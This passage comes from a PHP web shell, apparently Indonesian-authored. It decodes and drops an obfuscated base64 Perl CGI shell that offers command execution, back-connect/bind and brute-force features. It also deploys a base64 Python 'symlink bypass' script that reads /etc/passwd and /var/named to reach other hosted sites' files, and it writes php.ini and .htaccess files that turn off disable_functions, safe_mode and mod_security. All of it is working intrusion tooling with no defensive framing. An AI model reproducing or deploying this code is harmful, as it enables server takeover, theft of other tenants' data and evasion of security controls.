I7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";
$cgi = fopen($file_cgi, "w");
fwrite($cgi, base64_decode($cgi_script));
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
chmod($memeg, 0755);
echo "<center>Done ... <a href='kuda_cgi/cgi.kuda' target='_blank'>Klik Disini</a>";
}elseif($_GET['symlink'] == 'python') {
$sym_dir = mkdir('kuda_sympy', 0755);
chdir('kuda_sympy');
$file_sym = "sym.py";
$sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIlNwZWNpYWwgR3JlZXR6IHRvIDogUGFrIEN5YmVyIFNrdWxseiINCnByaW50ICJ+Iio2MA0KDQpvcy5tYWtlZGlycygna3VkYXN5bXB5JykNCm9zLmNoZGlyKCdrdWRhc3ltcHknKQ0KDQpzdXNyPVtdDQpzaXRleD1bXQ0Kb3Muc3lzdGVtKCJsbiAtcyAvIGt1ZGEudHh0IikNCg0KaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IGt1ZGEucGh0bWxcbkFkZFR5cGUgdHh0IC5waHBcbkFkZEhhbmRsZXIgdHh0IC5waHAiDQptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQ0KbS53cml0ZShoKQ0KbS5jbG9zZSgpDQpwcmludCBodGENCg0Kc2YgPSAiPGh0bWw+PHRpdGxlPlN5bWxpbmsgUHl0aG9uPC90aXRsZT48Y2VudGVyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9NT5TeW1saW5rIEJ5cGFzcyAyMDE3PGJyPjxmb250IHNpemU9ND5NYWRlIEJ5IE1pbmRsZXNzIEluamVjdG9yIDxicj5SZWNvZGVkIEJ5IE1yLnhCYXJha3VkYTwvZm9udD48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+Ig0KDQpvID0gb3BlbignL2V0Yy9wYXNzd2QnLCdyJykNCm89by5yZWFkKCkNCm8gPSByZS5maW5kYWxsKCcvaG9tZS9cdysnLG8pDQoNCmZvciB4dXNyIGluIG86DQoJeHVzcj14dXNyLnJlcGxhY2UoJy9ob21lLycsJycpDQoJc3Vzci5hcHBlbmQoeHVzcikNCnByaW50ICItIiozMA0KeHNpdGUgPSBvcy5saXN0ZGlyKCIvdmFyL25hbWVkIikNCg0KZm9yIHh4c2l0ZSBpbiB4c2l0ZToNCgl4eHNpdGU9eHhzaXRlLnJlcGxhY2UoIi5kYiIsIiIpDQoJc2l0ZXguYXBwZW5kKHh4c2l0ZSkNCnByaW50IGYNCnBhdGg9b3MuZ2V0Y3dkKCkNCmlmICIvcHVibGljX2h0bWwvIiBpbiBwYXRoOg0KCXBhdGg9Ii9wdWJsaWNfaHRtbC8iDQplbHNlOg0KCXBhdGggPSAiL2h0bWwvIg0KY291bnRlcj0xDQppcHM9b3Blbigia3VkYS5waHRtbCIsInciKQ0KaXBzLndyaXRlKHNmKQ0KDQpmb3IgZnVzciBpbiBzdXNyOg0KCWZvciBmc2l0ZSBpbiBzaXRleDoNCgkJZnU9ZnVzclswOjVdDQoJCXM9ZnNpdGVbMDo1XQ0KCQlpZiBmdT09czoNCgkJCWlwcy53cml0ZSgiPGJvZHkgYmdjb2xvcj1ibGFjaz48dHI+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjp3aGl0ZTs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmVkOz4lczwvdGQ+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDs+PGEgaHJlZj1rdWRhLnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
$sym = fopen($file_sym, "w");
fwrite($sym, base64_decode($sym_script));
chmod($file_sym, 0755);
$kuda = exe("python sym.py");
echo "<center>Done ... <a href='kuda_sympy/kudasympy/' target='_blank'>Klik Disini</a>";
} elseif($_GET['bypass'] == 'disablefunc'){
echo "<center><h2>Bypass Disable Functions</h2>";
echo "<form method=post><input type=submit name=ini value='php.ini' /> <input type=submit name=htce value='.htaccess' /> <input type=submit name=litini value='Litespeed' /></form>";
if(isset($_POST['ini']))
{
$file = fopen("php.ini","w");
echo fwrite($file,"safe_mode = OFF
disable_functions = NONE
");
fclose($file);
echo "<br><a href='php.ini' target='_blank'>Klik Coeg!</a>";
} if(isset($_POST['htce']))
{
$file = fopen(".htaccess","w");
echo fwrite($file,"<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>");
fclose($file);
echo "<br>htaccess successfully created!";
